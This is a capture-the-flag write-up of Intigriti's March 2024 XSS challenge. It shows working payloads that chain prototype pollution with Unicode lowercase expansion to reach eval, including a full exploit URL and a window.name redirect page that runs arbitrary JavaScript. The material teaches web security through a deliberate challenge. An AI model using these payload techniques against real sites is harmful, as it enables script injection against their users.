- Published on
Intigriti's March Challenge
- Authors
- Name
- Amr Zaki
Challenge 0324
Introduction
Hello folks, this is a write-up for the March XSS challenge on intigriti. This is an XSS challenge with Prototype Pollution and Unicode Normalization. The challenge had 2 versions, in the easy one we had to execute exactly alert(1337), and in the hard version we had to execute arbitrary javascript. In this write-up, I will try to explain both solutions.
So, let's dive in.
Recon
The challenge consists of one endpoint and it is the home page.
The functionality of the page is simple, and pretty straightforward. In the source code there's an empty user
object
var user = {};
and we can populate this object with Name, Content, Value, and Token fields using the Input
button in both forms.
The value we insert inside of the Token input is hashed with the MD5 hashing algorithm using the CryptoJS function in core.js
.
The info button in both forms just alerts the values we inserted.
That's the whole functionality of the application, let's head to code analysis.
Code Analysis
In the source code, we have 2 files core.js
and md5.js
in the xss_files
directory, I took the bait and went through both files because I thought the vulnerability was in them. I used goolge to search for CryptoJS exploits and found it vulnerable to CVE-2023-46233
, I thought this was intended and spent some time reading about the CVE but nothing was related to our application functionality.
So let's skip these files and let's see the code in between the script tags.
var user = {};
function runCmdToken(cmd) {
if (!user['token'] || user['token'].length != 32) {
return;
}
var str = `${user['token']}${cmd}(hash)`.toLowerCase();
var hash = str.slice(0, 32);
var cmd = str.slice(32);
eval(cmd);
}
function handleInputToken(inp) {
var hash = CryptoJS.MD5(inp).toString();
user['token'] = `${hash}`;
}
function runCmdName(cmd) {
var name = Object.keys(user).find(key => key != "token");
if (!name) {
return;
}
var contact = Object.keys(user[name]);
if (!contact) {
return;
}
var value = user[name][contact];
if (!value) {
return;
}
eval(`${cmd}('Name: ' + name + '\\nContact: ' + contact + '\\nValue: ' + value)`);
}
function handleInputName(name, contact, value) {
user[name] = { [contact]: value };
}
const urlParams = new URLSearchParams(window.location.search);
const nameParam = urlParams.get("setName");
const contactParam = urlParams.get("setContact");
const valueParam = urlParams.get("setValue");
const tokenParam = urlParams.get("setToken");
const runContactInfo = urlParams.get("runContactInfo");
const runTokenInfo = urlParams.get("runTokenInfo");
if (nameParam && contactParam && valueParam) {
handleInputName(nameParam, contactParam, valueParam);
}
if (tokenParam) {
handleInputToken(tokenParam);
}
if (runContactInfo) {
runCmdName('alert');
}
if (runTokenInfo) {
runCmdToken('alert');
}
Starting from the very first line, we see the empty user
object being created. After that we have 4 functions, let's break down each of them:
handleInputName
->
function handleInputName(name, contact, value) {
user[name] = { [contact]: value };
}
This function is called when we click input
on the contact form and takes our name, contact, and value insert them in the user
object.
Notice there's no sanitization being done to our input, so on first look it is vulnerable to Prototype Pollution.
runCmdName
:
function runCmdName(cmd) {
var name = Object.keys(user).find(key => key != "token");
if (!name) {
return;
}
var contact = Object.keys(user[name]);
if (!contact) {
return;
}
var value = user[name][contact];
if (!value) {
return;
}
eval(`${cmd}('Name: ' + name + '\\nContact: ' + contact + '\\nValue: ' + value)`);
}
This function is called when we click info
on the contact form, and alert the inputs we inserted earlier. It first checks that there is at least 1 key in the user
object other than "token", and then checks whether this key has a value or not. Last line constructs the alert dynamically with eval
.
handleInputToken
:
function handleInputToken(inp) {
var hash = CryptoJS.MD5(inp).toString();
user['token'] = `${hash}`;
}
This function takes our input in the token form and hashes it with MD5, and then adds it to the user
object.
runCmdToken
:
function runCmdToken(cmd) {
if (!user['token'] || user['token'].length != 32) {
return;
}
var str = `${user['token']}${cmd}(hash)`.toLowerCase();
var hash = str.slice(0, 32);
var cmd = str.slice(32);
eval(cmd);
}
This function is responsable for the alert in the Token form, it constructs the alert()
command dynamically with eval
. The last 10 lines of code are just there to help us run our exploit using the URL.
Intended solution
As we saw earlier, the home page is vulnerable to Prototype Pollution in the handleInputName
function. We need to use this vulnerability to be able to execute arbitrary javascript. First things first, let's prove the Prototype Pollution
When we send these values, the user object is constructed like this:
user['__proto__'] = {'z4ki' : 'polluted'}
This creates a property z4ki
with value polluted
. We have 2 possible ways to execute arbitrary javascript, using the runCmdToken
function or using the runCmdName
function. If we chose to use runCmdName
, the function checks for another key in the user
object, so we need to pollute the object twice, and even if we could, our input is put inside a string we can't break out of. That leaves us with the runCmdToken
function approach.
Using developer tools we can see how our input is processed and what is the input to the eval function. So let's use the function as intended, put a breakpoint, and see the input to the eval
function.
We can see the str
variable consists of 3 parts, the token MD5 hash, the input to runCmdToken
function which in our case is alert, and (hash)
which refers to the hash
variable. The hash
variable is a sliced string from str
32 characters long, and the rest is the cmd
variable value. The slicing is hardcoded as 32 characters, that's why our payload has to be exactly 32 characters.
Now we are certain the Prototype Pollution exists, let's try to manipulate other values in the user object. Without setting a token, we will try to add a token property with a random value of our own and see if it shows on the alert. The token value has to be 32 characters.
After we managed to bypass the hash function in the token and we can now add any 32 characters we want, it is time to move to the next line which converts our input to lowercase. After our input passes the length check, we want it to "expand" to more than 32 characters somehow so we can control the cmd
variable after the slicing operation. Here comes the unicode normalization trick, since javascript accepts UTF-8 characters, there are certain UTF-8 characters that get normalized when converted to lowercase or uppercase format. This great resource lists almost every normalized unicode character. So let's search for characters that change when lowercased
We have 2 characters only, and since we need our inputs to increase in size, we can only use the first character İ
because it will be converted to 2 characters. Let's verify this by sending 32 İ
characters to the function and putting a breakpoint before we exit the function to see how are input is processed.
As we can see in the second picture, user['token']
is indeed 32 characters, but after the lowercase operation it became 75 characters. If we removed alert(hash)
which is 11 characters, our input becomes 64 characters which is 32 lowercased İ
.
When we resume the program, we get the error unknown command, becuase the alert command is malformed. I fixed it as follows with this as the payload:
// this line is 32 characters.
İİİİİİİİİİİİİİİ;;alert(1337);//;
So cmd
variable will be like this
Lastly let's construct the URL:
https://challenge-0324.intigriti.io/challenge/index.html?setName=__proto__&setContact=token&setValue=%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0;;alert(1337);//;&runTokenInfo=1
Opening this, the alert(1337)
is executed and we managed to solve the easy version of the challenge.
Unintended solution
A day after I submitted the above solution, this message was sent on the intigriti's discord server.
I didn't know how one could execute arbitrary javascript because of the length restrictions, I barely managed to execute alert(1337)
and got like 4 more characters to spare. So, I decided to try.
I started looking for tiny XSS payloads the first one is the tiniest, and it is 23 characters long. But we don't need the svg
tag nor the onload
event, we are only interested in eval(name)
. To be quite honest, I didn't understand the payload at first, so I did some searching on how does this actually work and I came across this link In short, if we can add eval(name)
to the vulnerable website, then we can set the name
property from another window or website, redirect to the vulnerable website and it will be inhereted by it. The first answer explains it very well and also provide us with an example on how to use that payload. So let's create a simple HTML page with the following script
<script>
window.name = 'alert(document.domain)';
location = 'https://challenge-0324.intigriti.io/challenge/index.html?setName=__proto__&setContact=token&setValue=%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0%C4%B0eval(name);/////&runTokenInfo=1';
</script>
The used payload is
İİİİİİİİİİİİİİİİeval(name);/////
Opening our created page, we get the alert and we manage to solve the hard version as well.
This was very fun to do and I learned a new thing while solving the hard version hope you learned something as well. See you next month ❤️